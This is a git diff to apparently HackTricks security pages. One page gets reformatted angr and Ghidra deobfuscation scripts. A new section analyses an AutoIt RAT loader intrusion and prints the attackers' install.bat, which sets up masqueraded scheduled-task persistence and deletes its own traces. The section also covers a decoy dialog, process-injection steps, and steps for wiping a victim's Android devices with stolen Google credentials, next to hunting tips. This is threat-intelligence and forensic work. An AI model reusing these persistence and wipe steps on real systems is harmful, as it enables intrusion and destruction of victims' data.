diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md
index 8572b25be44..f76ed9e1d67 100644
--- a/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md
+++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md
@@ -210,99 +210,115 @@ Ghidra triage (JNI_OnLoad pattern)
angr setup (execute the decoder offline)
- Load the .so with the same base used in Ghidra (example: 0x00100000) and disable auto-loading of external libs to keep the state small.
- ```python
- import angr, json
-
- project = angr.Project(
- '/path/to/libtarget.so',
- load_options={'main_opts': {'base_addr': 0x00100000}},
- auto_load_libs=False,
- )
-
- ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
-
- def decode_string(enc_addr, length):
- # fresh blank state per evaluation
- st = project.factory.blank_state()
- outbuf = st.heap.allocate(length)
- call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st)
- ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer
- rs = call.result_state
- raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes)
- return raw.split(b'\x00', 1)[0].decode('utf-8', errors='ignore')
-
- # Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
- print(decode_string(0x00100933, 5))
- ```
+
+angr setup and offline decoder execution
+
+```python
+import angr, json
+
+project = angr.Project(
+ '/path/to/libtarget.so',
+ load_options={'main_opts': {'base_addr': 0x00100000}},
+ auto_load_libs=False,
+)
+
+ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
+
+def decode_string(enc_addr, length):
+ # fresh blank state per evaluation
+ st = project.factory.blank_state()
+ outbuf = st.heap.allocate(length)
+ call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st)
+ ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer
+ rs = call.result_state
+ raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes)
+ return raw.split(b'\x00', 1)[0].decode('utf-8', errors='ignore')
+
+# Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
+print(decode_string(0x00100933, 5))
+```
+
+
- At scale, build a static map of call sites to the decoder’s arguments (encoded_ptr, size). Wrappers may hide arguments, so you may create this mapping manually from Ghidra xrefs if API recovery is noisy.
- ```python
- # call_site -> (encoded_addr, size)
- call_site_args_map = {
- 0x00100f8c: (0x00100b81, 0x41),
- 0x00100fa8: (0x00100bca, 0x04),
- 0x00100fcc: (0x001007a0, 0x41),
- 0x00100fe8: (0x00100933, 0x05),
- 0x0010100c: (0x00100c62, 0x41),
- 0x00101028: (0x00100c15, 0x16),
- 0x00101050: (0x00100a49, 0x101),
- 0x00100cf4: (0x00100821, 0x11),
- 0x00101170: (0x00100940, 0x101),
- 0x001011cc: (0x0010084e, 0x13),
- 0x00101334: (0x001007e9, 0x0f),
- 0x00101478: (0x0010087d, 0x15),
- 0x001014f8: (0x00100800, 0x19),
- 0x001015e8: (0x001008e6, 0x27),
- 0x0010160c: (0x00100c33, 0x13),
- }
-
- decoded_map = { hex(cs): decode_string(enc, sz)
- for cs, (enc, sz) in call_site_args_map.items() }
-
- print(json.dumps(decoded_map, indent=2))
- with open('decoded_strings.json', 'w') as f:
- json.dump(decoded_map, f, indent=2)
- ```
+
+Batch decode multiple call sites with angr
+
+```python
+# call_site -> (encoded_addr, size)
+call_site_args_map = {
+ 0x00100f8c: (0x00100b81, 0x41),
+ 0x00100fa8: (0x00100bca, 0x04),
+ 0x00100fcc: (0x001007a0, 0x41),
+ 0x00100fe8: (0x00100933, 0x05),
+ 0x0010100c: (0x00100c62, 0x41),
+ 0x00101028: (0x00100c15, 0x16),
+ 0x00101050: (0x00100a49, 0x101),
+ 0x00100cf4: (0x00100821, 0x11),
+ 0x00101170: (0x00100940, 0x101),
+ 0x001011cc: (0x0010084e, 0x13),
+ 0x00101334: (0x001007e9, 0x0f),
+ 0x00101478: (0x0010087d, 0x15),
+ 0x001014f8: (0x00100800, 0x19),
+ 0x001015e8: (0x001008e6, 0x27),
+ 0x0010160c: (0x00100c33, 0x13),
+}
+
+decoded_map = { hex(cs): decode_string(enc, sz)
+ for cs, (enc, sz) in call_site_args_map.items() }
+
+import json
+print(json.dumps(decoded_map, indent=2))
+with open('decoded_strings.json', 'w') as f:
+ json.dump(decoded_map, f, indent=2)
+```
+
+
Annotate call sites in Ghidra
Option A: Jython-only comment writer (use a pre-computed JSON)
- Since angr requires CPython3, keep deobfuscation and annotation separated. First run the angr script above to produce decoded_strings.json. Then run this Jython GhidraScript to write PRE_COMMENTs at each call site (and include the caller function name for context):
- ```python
- #@category Android/Deobfuscation
- # Jython in Ghidra 10/11
- import json
- from ghidra.program.model.listing import CodeUnit
-
- # Ask for the JSON produced by the angr script
- f = askFile('Select decoded_strings.json', 'Load')
- mapping = json.load(open(f.absolutePath, 'r')) # keys as hex strings
-
- fm = currentProgram.getFunctionManager()
- rm = currentProgram.getReferenceManager()
-
- # Replace with your decoder address to locate call-xrefs (optional)
- ENCODING_FUNC_ADDR = 0x00100e10
- enc_addr = toAddr(ENCODING_FUNC_ADDR)
-
- callsite_to_fn = {}
- for ref in rm.getReferencesTo(enc_addr):
- if ref.getReferenceType().isCall():
- from_addr = ref.getFromAddress()
- fn = fm.getFunctionContaining(from_addr)
- if fn:
- callsite_to_fn[from_addr.getOffset()] = fn.getName()
-
- # Write comments from JSON
- for k_hex, s in mapping.items():
- cs = int(k_hex, 16)
- site = toAddr(cs)
- caller = callsite_to_fn.get(cs, None)
- text = s if caller is None else '%s @ %s' % (s, caller)
- currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text)
- print('[+] Annotated %d call sites' % len(mapping))
- ```
+
+Ghidra Jython script to annotate decoded JNI strings
+
+```python
+#@category Android/Deobfuscation
+# Jython in Ghidra 10/11
+import json
+from ghidra.program.model.listing import CodeUnit
+
+# Ask for the JSON produced by the angr script
+f = askFile('Select decoded_strings.json', 'Load')
+mapping = json.load(open(f.absolutePath, 'r')) # keys as hex strings
+
+fm = currentProgram.getFunctionManager()
+rm = currentProgram.getReferenceManager()
+
+# Replace with your decoder address to locate call-xrefs (optional)
+ENCODING_FUNC_ADDR = 0x00100e10
+enc_addr = toAddr(ENCODING_FUNC_ADDR)
+
+callsite_to_fn = {}
+for ref in rm.getReferencesTo(enc_addr):
+ if ref.getReferenceType().isCall():
+ from_addr = ref.getFromAddress()
+ fn = fm.getFunctionContaining(from_addr)
+ if fn:
+ callsite_to_fn[from_addr.getOffset()] = fn.getName()
+
+# Write comments from JSON
+for k_hex, s in mapping.items():
+ cs = int(k_hex, 16)
+ site = toAddr(cs)
+ caller = callsite_to_fn.get(cs, None)
+ text = s if caller is None else '%s @ %s' % (s, caller)
+ currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text)
+print('[+] Annotated %d call sites' % len(mapping))
+```
+
+
Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternatively, use pyhidra or ghidra_bridge to drive Ghidra’s API from the same CPython process running angr. This allows calling decode_string() and immediately setting PRE_COMMENTs without an intermediate file. The logic mirrors the Jython script: build callsite→function map via ReferenceManager, decode with angr, and set comments.
@@ -410,6 +426,100 @@ idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
---
+## AutoIt-based loaders: .a3x decryption, Task Scheduler masquerade and RAT injection
+
+This intrusion pattern chains a signed MSI, AutoIt loaders compiled to .a3x, and a Task Scheduler job masquerading as a benign app.
+
+### MSI → custom actions → AutoIt orchestrator
+
+Process tree and commands executed by the MSI custom actions:
+
+- MsiExec.exe → cmd.exe to run install.bat
+- WScript.exe to show a decoy error dialog
+
+```cmd
+%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
+%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
+```
+
+install.bat (drops loader, sets persistence, self-cleans):
+
+```bat
+@echo off
+set dr=Music
+
+copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
+copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
+
+cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
+ & hwpviewer /delete /tn "IoKlTr" /f ^
+ & hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
+
+del /f /q "%~dp0AutoIt3.exe"
+del /f /q "%~dp0IoKlTr.au3"
+del /f /q "%~f0"
+```
+
+error.vbs (user decoy):
+
+```vb
+MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
+ "설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
+ vbCritical, "언어팩 오류"
+```
+
+Key artifacts and masquerade:
+- Drops AutoIt3.exe and IoKlTr.au3 to C:\Users\Public\Music
+- Copies schtasks.exe to hwpviewer.exe (masquerades as Hangul Word Processor viewer)
+- Creates a scheduled task "IoKlTr" that runs every 1 minute
+- Startup LNK seen as Smart_Web.lnk; mutex: `Global\AB732E15-D8DD-87A1-7464-CE6698819E701`
+- Stages modules under %APPDATA%\Google\Browser\ subfolders containing `adb` or `adv` and starts them via autoit.vbs/install.bat helpers
+
+Forensic triage tips:
+- schtasks enumeration: `schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"`
+- Look for renamed copies of schtasks.exe co-located with Task XML: `dir /a "C:\Users\Public\Music\hwpviewer.exe"`
+- Common paths: `C:\Users\Public\Music\AutoIt3.exe`, `...\IoKlTr.au3`, Startup `Smart_Web.lnk`, `%APPDATA%\Google\Browser\(adb|adv)*`
+- Correlate process creation: AutoIt3.exe spawning legitimate Windows binaries (e.g., cleanmgr.exe, hncfinder.exe)
+
+### AutoIt loaders and .a3x payload decryption → injection
+
+- AutoIt modules are compiled with `#AutoIt3Wrapper_Outfile_type=a3x` and decrypt embedded payloads before injecting into benign processes.
+- Observed families: QuasarRAT (injected into hncfinder.exe) and RftRAT/RFTServer (injected into cleanmgr.exe), as well as RemcosRAT modules (`Remcos\RunBinary.a3x`).
+- Decryption pattern: derive an AES key via HMAC, decrypt the embedded blob, then inject the plaintext module.
+
+Generic decryption skeleton (exact HMAC input/algorithm is family-specific):
+
+```python
+import hmac, hashlib
+from Crypto.Cipher import AES
+
+def derive_aes_key(secret: bytes, data: bytes) -> bytes:
+ # Example: HMAC-SHA256 → first 16/32 bytes as AES key
+ return hmac.new(secret, data, hashlib.sha256).digest()
+
+def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
+ return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
+```
+
+Common injection flow (CreateRemoteThread-style):
+- CreateProcess (suspended) of the target host (e.g., cleanmgr.exe)
+- VirtualAllocEx + WriteProcessMemory with decrypted module/shellcode
+- CreateRemoteThread or QueueUserAPC to execute payload
+
+Hunting ideas
+- AutoIt3.exe parented by MsiExec.exe or WScript.exe spawning system utilities
+- Files with `.a3x` extensions or AutoIt script runners under public/user-writable paths
+- Suspicious scheduled tasks executing AutoIt3.exe or binaries not signed by Microsoft, with minute-level triggers
+
+### Account-takeover abuse of Android Find My Device (Find Hub)
+
+During the Windows intrusion, operators used stolen Google credentials to repeatedly wipe the victim’s Android devices, suppressing notifications while they expanded access via the victim’s logged-in desktop messenger.
+
+Operator steps (from a logged-in browser session):
+- Review Google Account → Security → Your devices; follow Find My Phone → Find Hub (https://www.google.com/android/find)
+- Select device → re-enter Google password → issue "Erase device" (factory reset); repeat to delay recovery
+- Optional: clear alert e-mails in the linked mailbox (e.g., Naver) to hide security notifications
+
## AdaptixC2: Configuration Extraction and TTPs
See the dedicated page:
@@ -430,5 +540,9 @@ adaptixc2-config-extraction-and-ttps.md
- Tracing JNI Functions – [valsamaras.medium.com](https://valsamaras.medium.com/tracing-jni-functions-75b04bee7c58)
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – [laripping.com](https://laripping.com/blog-posts/2021/12/20/nativeenrich.html)
- [Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks](https://unit42.paloaltonetworks.com/adaptixc2-post-exploitation-framework/)
+- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – [genians.co.kr](https://www.genians.co.kr/en/blog/threat_intelligence/android)
+- Android Find My Device (Find Hub) – [google.com/android/find](https://www.google.com/android/find)
+- RftRAT/RFTServer technical analysis – [asec.ahnlab.com](https://asec.ahnlab.com/en/59590/)
+- HMAC background – [wikipedia.org/wiki/HMAC](https://en.wikipedia.org/wiki/HMAC)
{{#include ../../banners/hacktricks-training.md}}
\ No newline at end of file
diff --git a/src/pentesting-web/xs-search/css-injection/less-code-injection.md b/src/pentesting-web/xs-search/css-injection/less-code-injection.md
index b9d599deb30..6d338df2b68 100644
--- a/src/pentesting-web/xs-search/css-injection/less-code-injection.md
+++ b/src/pentesting-web/xs-search/css-injection/less-code-injection.md
@@ -1,4 +1,6 @@
-## LESS Code Injection leading to SSRF & Local File Read
+# LESS Code Injection leading to SSRF & Local File Read
+
+{{#include ../../../banners/hacktricks-training.md}}
LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used.
@@ -59,4 +61,5 @@ curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
-* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
\ No newline at end of file
+* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
+{{#include ../../../banners/hacktricks-training.md}}